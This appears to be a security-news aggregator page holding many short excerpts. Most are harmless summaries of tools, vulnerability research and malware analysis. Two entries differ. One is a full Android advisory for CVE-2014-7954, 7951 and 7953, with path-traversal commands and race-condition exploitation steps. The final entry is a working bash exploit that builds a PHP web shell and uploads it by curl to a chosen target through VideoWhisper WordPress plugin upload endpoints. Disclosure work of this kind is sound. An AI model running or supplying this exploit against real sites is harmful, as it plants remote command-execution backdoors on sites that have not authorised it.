Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

SQLite gets fuzzershell

$
0
0
This is a utility program designed to aid running the SQLite library
against an external fuzzer, such as American Fuzzy Lop (AFL)
(http://lcamtuf.coredump.cx/afl/).  Basically, this program reads
SQL text from standard input and passes it through to SQLite for evaluation,
just like the "sqlite3" command-line shell.


more here..........https://www.sqlite.org/src/artifact/9e7e273da2030371

Hacking Games

Elfesteem

FLARE IDA Pro Script Series: Applying Function Prototypes to Indirect Calls

The true story behind Elasticsearch storage requirements

$
0
0
One of our responsibilities as Solutions Architects is to help prospective users of the ELK stack figure out how many and what kind of servers they'll need to buy to support their requirements. Production deployments of the ELK stack vary significantly. Some examples of use cases we've spoken to people about include:

Collecting and analyzing Apache and Java app server logs that support a major big box retailer's e-commerce site.
Security information and event management (SIEM) solution provided as a service by a major telecom/network company for its customers.
Full-text search and faceted navigation for an apartment search website.
Organization-wide desktop/laptop systems monitoring for a public school district.

more here...........https://www.elastic.co/blog/elasticsearch-storage-the-true-story

Binary Ninja

$
0
0
Binary Ninja is a set of tools to make the life of a vulnerability researcher easier, combined into a single unified interface. Whether you need to do reverse engineering, binary analysis, binary patching, or exploit development, Binary Ninja has you covered. More info here.....https://binary.ninja/index.html

On false alarms in detection of DGA botnet domains – part 1

$
0
0
Domain Generation Algorithms are often used in botnets to create specially crafted domain names which point to C&C servers. The main purpose of this is to make it more difficult to block connections to these servers (for example with domain blacklists) or to protect the C&C channel (and botnet itself) from a takeover. Often domains generated this way are composed of random characters, for example: gdvf5yt.pl, which appear as nonsensical, but nevertheless allow the botmaster to manage their bots. While working on detection of algorithmically generated domains we have found examples of domains, which are similar in weirdness of appearance to those used in botnets, but are utilized for different – legitimate – purposes. Identification of these domains is useful in elimination of large number of false alarms in DGA botnet detection systems. In this entry we will describe how such domains are used in a non-malicious way and in a future post we will look into cases which can be seen as threats.

more here.........http://www.cert.pl/news/9887/langswitch_lang/en

Paper: Modern Objective-C Exploitation Techniques

$
0
0
Hello again reader. Over the years the exploitation process has obviously
shifted in complexity. What once began with the straight forward case of
turning a single bug into a reliable exploit has now evolved more towards
combining vulnerability primitives together in an attempt to bypass each
of the memory protection hurdles present on a modern day operating system.

With this in mind, let's jump once again into the exploitation of
Objective-C based memory corruption vulnerabilities in a modern time.

more here.....http://www.phrack.com/papers/modern_objc_exploitation.html

Pillage the Village - The PowerShell version

$
0
0
I recently saw the slides of the awesome SANS webcast, "Pillage the Village Redux: More Pen Test Adventures in Post Exploitation". Ed Skoudis and John Strand demonstrated some nifty tricks which could come really handy during a penetration test.  Thanks guys! They used batch scripts, PowerShell scripts, netsh utility and tools in Python - Gcat and Murdock.

I noticed couple of points where using PowerShell can make some of the tricks mentioned in the webcast even better! If not better, PowerShell at least provides alternative methods. So I ended up writing some pieces of code and this blog post here..........http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html

HTTPLeaks

CVE-2014-7954 MTP path traversal vulnerability in Android, CVE-2014-7951 adb backup archive path traversal file overwrite & CVE-2014-7953 Android backup agent code execution

$
0
0
1. MTP path traversal vulnerability in Android 4.4
-----------------------------------------------

doSendObjectInfo() method of the MtpServer class implemented in
frameworks/av/media/mtp/MtpServer.cpp does not validate the name
parameter of the incoming MTP packet at all.

It is possible to upload files outside of the sdcard using a specially
crafted MTP request:

root () testpc:~/mtp-test# ./mtp-mysend sdf.txt \
  ../../../.././../data/data/com.android.providers.media/sdf.txt
libmtp version: 1.1.3

Device 0 (VID=18d1 and PID=4e42) is UNKNOWN.
Please report this VID/PID and the device model to the libmtp
development team
Android device detected, assigning default bug flags
Sending sdf.txt as
../../../../../../data/data/com.android.providers.media/sdf.txt
Sending file...
Progress: 25 of 25 (100%)
New file ID: 203



The file is written by the process com.android.providers.media:

root () grouper:/data/data/com.android.providers.media # ls -la
ls -la
drwxrwx--x u0_a6    u0_a6             2014-07-22 01:06 cache
drwxrwx--x u0_a6    u0_a6             2014-07-22 01:07 databases
lrwxrwxrwx install  install           2014-07-22 01:05 lib ->
/data/app-lib/com.android.providers.media
-rw-rw-r-- u0_a6    media_rw       13 2014-09-24 01:36 sdf.txt
drwxrwx--x u0_a6    u0_a6             2014-07-22 01:06 shared_prefs


Tested on:     Android 4.4.4
Reported on:   2014-09-26
Assigned CVE:  CVE-2014-7954
Discovered by: Imre Rad / Search-Lab Ltd.
               http://www.search-lab.hu
               http://www.securecodingacademy.com/


2. ADB backup archive path traversal file overwrite     
------------------------------------------------

Using adb one can create a backup of his/her Android device and store it
on the PC. The backup archive is based on the tar file format.

By modifying tar headers to contain ../../ like patterns it is possible
to overwrite files owned by the system user on writeable partitions.


An example pathname in the tar header:
apps/com.android.settings/sp/../../../../data/system/evil.txt
Tar header checksum must be corrected of course.

When restoring the modified archive the BackupManagerService overwrites
the resolved file name, since file name is not sanitized.

Bugfix in the version control:
https://android.googlesource.com/platform/frameworks/base/+/7bc601d%5E!/#F0


Android 5 (Lollipop) and newer versions are not affected (due to the
official bugfix linked above).


Additional conditions for exploiting on pre-Lollipop systems:

- Partition of the desination file must be mounted as writeable (eg.
/system won't work, but /data does)

- It is not possible to overwrite files owned by root, since the process
doing the restore is running as the same user as the package itself and
Android packages cannot run.

- It is not possible to overwrite files owned by system user since AOSP
4.3 due to Id6a0cb4c113c2e4a8c4605252cffa41bea22d8a3, a new hardening
was introduced "... ignoring non-agent system package ".
(If the operating system is custom and there is a system package
available with a full backup agent specified explicitly, then that
custom Android 4.3 and 4.4 might be affected too.)

Pre 4.3 AOSP systems are affected without further conditions: it is
possible to overwrite files owned by the system user or any other
packages installed on the system.



Tested on:      Android 4.0.4:
Reported on:    2014-07-14
Assigned CVE:   CVE-2014-7951
Android bug id: 16298491
Discovered by:  Imre Rad / Search-Lab Ltd.
                http://www.search-lab.hu
                http://www.securecodingacademy.com/


3. Android backup agent arbitrary code execution
---------------------------------------------

The Android backup agent implementation was vulnerable to privilege
escalation and race condition. An attacker with adb shell access could
run arbitrary code as the system (1000) user (or any other valid
package). The attack is tested on Android OS 4.4.4.


The main problem is inside bindBackupAgent method in the
ActivityManagerService.
This method is exported through Binder and is available to call by the
shell user, since android.permission.BACKUP is granted for it.

The method has an ApplicationInfo parameter, which is unsecured (not
cross validated through the PackageManager), so the uid member could be
manipulated. The supplied ApplicationInfo object will be direct
parameter for startProcessLocked().

Before invoking startProcessLocked, bindBackupAgent also tries to set
stopped state for the package.
This call is bound to an additional permission
(CHANGE_COMPONENT_ENABLED_STATE), which is a system permission, not even
shell user got it.

However, there is a race condition between PackageManager and
ActivityManagerService, so this security check can by bypassed.

Existence of the specified package happens first in
mSettings.setPackageStoppedStateLPw(). If the package does not exists
than IllegalArguemntException is thrown. (Permission would have been
validated as next step only resulting in a SecurityException)

So, if the package does not exists, IllegalArguemntException is thrown,
which is catched by bindBackupAgent, but the execution wont stop (only a
warning is being logged):

            // Backup agent is now in use, its package can't be stopped.
            try {
                AppGlobals.getPackageManager().setPackageStoppedState(
                        app.packageName, false,
UserHandle.getUserId(app.uid));
            } catch (RemoteException e) {
            } catch (IllegalArgumentException e) {
                Slog.w(TAG, "Failed trying to unstop package "
                        + app.packageName + ": " + e);
            }


It was possible to perform the following steps in order to exploit:

1. execute "pm install helloworld.apk" (with package name
com.example.helloworld)

2. with another script process logcat's output and look for
the dexopt line (DexOpt: load 3ms, verify+opt 5ms, 161068 bytes)

3. trigger execution of the bindBackupAgent system call (with uid
spoofed to 1000 in ApplicationInfo) as soon as the dexopt line was seen


Since this is a race condition and timing is important, it might not
work at first. I was lucky at 3rd attempt.

In this lucky scenario the package did not exists while
setPackageStoppedStateLPw tried to find it, but then it became available
for startPackageLocked.

At this point a new process was forked by the Zygote:


shell () grouper:/ $ ps |grep hello
ps |grep hello
system    6826  141   692340 17312 ffffffff 00000000 S
com.example.helloworld


No code was executed however, since there exists an additional security
check in handleCreateBackupAgent in the ActivityThread:

            PackageInfo requestedPackage =
getPackageManager().getPackageInfo(
                    data.appInfo.packageName, 0, UserHandle.myUserId());
            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
                Slog.w(TAG, "Asked to instantiate non-matching package "
                        + data.appInfo.packageName);
                return;
            }


But the process com.example.helloserver was executed with debug flags
(due to the simple fact that it was built by us and we built it as
debug) so DDMS could be attached to it.

To verify actual code execution, I added
Runtime.getRuntime().exec("touch /data/app/testSystem")
as an expression in the debugger to be evaluated by the process.

The command was executed successfully:

shell () grouper:/data/app $ ls -la testSystem
ls -la testSystem
-rw------- system   system          0 2014-08-06 01:52 testSystem


13 byte bugfix for all the above in the version control:
https://android.googlesource.com/platform/frameworks/base/+/a8f6d1b%5E!/

Lollipop is not affected, earlier Android versions are.


Tested on:      Android 4.4.4:
Reported on:    2014-08-15
Assigned CVE:   CVE-2014-7951
Android bug id: 15829193
Discovered by:  Imre Rad / Search-Lab Ltd.
                http://www.search-lab.hu
                http://www.securecodingacademy.com/


Cracking Candy Crush

$
0
0
After receiving a lot of interest in Trivia Cracker, a Chrome extension that lets you easily cheat in the popular game Trivia Crack, I decided it might be interesting to see if the same kinds of vulnerabilities existed in other popular games. Given its insane popularity, the first game I thought to investigate, of course, was Candy Crush.

more here..........http://jodoglevy.com/jobloglevy/cracking-candy-crush/

Opinion: Security firm’s Iran report mostly hype

Validate the Encoding Before Passing Strings to Libcurl or Glibc

Threat Spotlight: Upatre – Say No to Drones, Say Yes to Malware

$
0
0
Talos has observed an explosion of malicious downloaders in 2015 which we’ve documented on several occasions on our blog. These downloaders provide a method for attackers to push different types of malware to endpoint systems easily and effectively. Upatre is an example of a malicious downloader Talos has been monitoring since late 2013. However, in the last 24-48 hours, things have shifted dramatically. We’ve monitored at least fifteen different spam campaigns that are active between one and two days.  While the topic associated with the spam message has varied over time, the common attachment provided is a compressed file (.zip or .rar) that contains an executable made to look like a PDF document by changing the icon.

more here........http://blogs.cisco.com/security/talos/upatre-ssl

Rooting Freshly

Cyber Security Consolidation: Raytheon to acquire Websense for $1.9 billion

Calling back into Python from llvmlite-JITed code

$
0
0
This post is about a somewhat more interesting and complex use of llvmlite than the basic example presented in my previous article on the subject.

I see compilation as a meta-tool. It lets us build new levels of abstraction and expressiveness within our code. We can use it to build additional languages on top of our host language (common for C, C++ and Java-based systems, less common for Python), to accelerate some parts of our host language (more common in Python), or anything in between.

To fully harness the power of runtime compilation (JITing), however, it's very useful to know how to bridge the gap between the host language and the JITed language; preferably in both directions. As the previous article shows, calling from the host into the JITed language is trivial. In fact, this is what JITing is mostly about. But what about the other direction? This is somewhat more challenging, but leads to interesting uses and additional capabilities.

http://eli.thegreenplace.net/2015/calling-back-into-python-from-llvmlite-jited-code/more here.......

Critical Magento Shoplift Vulnerability (SUPEE-5344) – Patch Immediately!

$
0
0
The Magento team released a critical security patch (SUPEE-5344) to address a remote command execution (RCE) vulnerability back in February. It’s been more than two months since the release and still more than 50% of all the Magento installations have not been patched, leaving them open to attacks.

This means hundreds of thousands of websites are vulnerable right now, worst yet they are Ecommerce websites. This means that the websites are being used to sell goods online, capturing personal identifiable information (PII), including credit card information in many cases, for each of their clients. The impacts of Magento websites getting compromised can be devastating for every online buyer that uses or has used a website built on the platform.

more here........https://blog.sucuri.net/2015/04/critical-magento-shoplift-vulnerability-supee-5344-patch-immediately.html

Exploit for VideoWhisper WP plugins file upload incomplete fix

$
0
0
#!/bin/bash
#A quick Exploit for the VideoWhisper file upload incomplete fix I posted a few weeks ago.
#Larry W. Cashdollar v1.0

cat > shell.pht << -EOF-
<?php
if(isset(\$_REQUEST[‘cmd’])){
echo "<pre>";
\$cmd = (\$_REQUEST[‘cmd’]);
system(\$cmd);
echo "</pre>";
} else { echo "Please supply a command cmd"; }
?>
-EOF-

red='\033[0;31m'
NC='\033[0m' # No Color

while [ true ]; do
echo -e ${red};
echo -e " VideoWhisper Remote File Upload PoC Redux $NC";
echo " 4/14/2015";
echo " Larry W. Cashdollar, @_larry0";
echo
echo
echo "Linux OSs like Debian or Ubuntu have .phtml, .pht defined as";
echo "SetHandler application/x-httpd-php in php5.conf";
echo "So WP instances hosted on thos OSs are still vulnerable to CVE-2014-1905";
echo "and bid 53851.";
echo " - Advisories -";
echo "http://www.vapid.dhs.org/blog/04-16-2015/";;
echo "http://www.vapid.dhs.org/advisory.php?v=116";;
echo "http://www.vapid.dhs.org/advisory.php?v=117";;
echo
echo
echo "Ctrl ^C to exit";
echo -n "Enter Target Hostname :";
read target;
echo -n "Enter 1 for integration 2 for presentation :";
read plugin;
echo -n "Enter payload filename or (shell.pht):";
read file;
echo "[+] Hostname $target";
echo "[+] File $file";
if [ $plugin == 1 ]; then
echo "[+] Targeting Video Conference Plugin";
echo
curl --form "vw_file= () $file" --form "name=$file" --form "room=./"
http://$target/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php
else
echo "[+] Targeting Video Presentation Plugin";
echo
curl --form "vw_file= () $file" --form "name=$file" --form "room=./"
http://$target/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php
fi;
done
Viewing all 8064 articles
Browse latest View live